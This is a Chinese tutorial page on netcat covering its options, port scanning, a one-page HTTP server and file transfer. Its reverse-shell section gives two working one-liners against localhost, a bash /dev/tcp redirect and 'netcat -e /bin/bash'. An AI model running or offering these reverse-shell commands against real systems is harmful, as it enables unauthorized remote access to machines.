【Linux命令】netcat 网络工具的瑞士军刀
2015-08-10 08:40
525 查看
netcat被成为网络工具中的瑞士军刀,之前也没怎么用过,挺惭愧的,那么现在来看看怎么用吧。 udp 和 tcp协议都比较好使,至少在测udp的时候,使用telnet感觉很无力呀。(nc 和 netcat都是一个命令)
参数
nc --version netcat (The GNU Netcat) 0.7.1 Copyright (C) 2002 - 2003 Giovanni Giacobbi 想要连接到某处: nc [-options] hostname port[s] [ports] 绑定端口等待连接: nc -l -p port [-options] [hostname] [port] 参数: -e prog 程序重定向,一旦连接,就执行 [危险!!] -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, ... -h 帮助信息 -i secs 延时的间隔 -l 监听模式,用于入站连接 -n 指定数字的IP地址,不能用hostname -o file 记录16进制的传输 -p port 本地端口号 -r 任意指定本地及远程端口 -s addr 本地源地址 -u UDP模式 -v 详细输出——用两个-v可得到更详细的内容 -w secs timeout的时间 -z 将输入输出关掉——用于扫描时
案例
端口扫描
# nc -z -v 127.0.0.1 1-100 localhost [127.0.0.1] 80 (http) open
telnet 类似的用法,发送一个tcp或者udp包
发送tcp请求到80端口# nc localhost 80
shell反弹
第一种在ubuntu上试过,第二种是用gun的netcat,比较好使。机器A : $ nc -l -n -vv -p 8080 机器B: $ /bin/bash -i > /dev/tcp/127.0.0.1/8080 0<&1 2>&1 (shell反弹) #另外一种写法,在A上可以反弹B的shell A: # netcat -lvvp 4444 B: # netcat -v 127.0.0.1 4444 -e /bin/bash
模拟httpserver,一个页面
nc -l 8888 < index.html #这样写只能访问一次哦 while true; do nc -l 8888 < index.html; done #直接在浏览器中访问就行了
文件传输
这个顺序有点特殊,先执行接受端,然后是发送端在发送#文件从B->A #首先在接受端A # nc -lvvp 4444 > aaaa.txt #然后在发送端B # nc -vv 127.0.0.1 4444 < t1.sed
管道符的写法
#文件从 A-B传送 发送A $ cat backup.iso | nc -l 3333 接受B $ nc 192.168.0.1 3333 > backup.iso
参考文章
man nc或者是
man netcat
Netcat – a couple of useful examples
How To Use Netcat to Establish and Test TCP and UDP Connections on a VPS
相关文章推荐
- GDB 下 watch的使用http://www.cnblogs.com/lonelycatcher/archive/2011/10/09/2204865.html
- 网桥和网桥相连的网络
- 淘宝的评论归纳是如何做到的? - 社交网络 - 知乎
- java中TCP两个例子大写服务器和文件上传
- GET/POST请求的使用《极客学院 --AFNetworking 2.x 网络解析详解--2》学习笔记
- TCP三次握手及其背后的缺陷
- 华为网络工程师认证HCNA R&S笔记(1)
- http 和https的区别
- Go http源码解析(一)
- muduo::TcpConnection分析
- poj 1273 Drainage Ditches(网络流入门之最大流)
- (4.1.28.2)HttpPost.setHeader("Cookie", "PHPSESSID=" + PHPSESSID)方式的HttpClient工具类
- (4.1.28.3)第二种方法HttpClient.setCookieStore(mCookieStore)实现的HTTP工具类
- (4.1.28.1)HTTP通信之HttpClinet保持登录状态问题
- nginx http核心模块指令(一)
- 卷积神经网络CNN介绍:结构框架,源码理解【转】
- HttpClient 处理中文乱码
- java中TCP总结
- (4.1.28)android之网络通信:HTTP、Socket、SOAP
- 简单封装的httpclient4请求类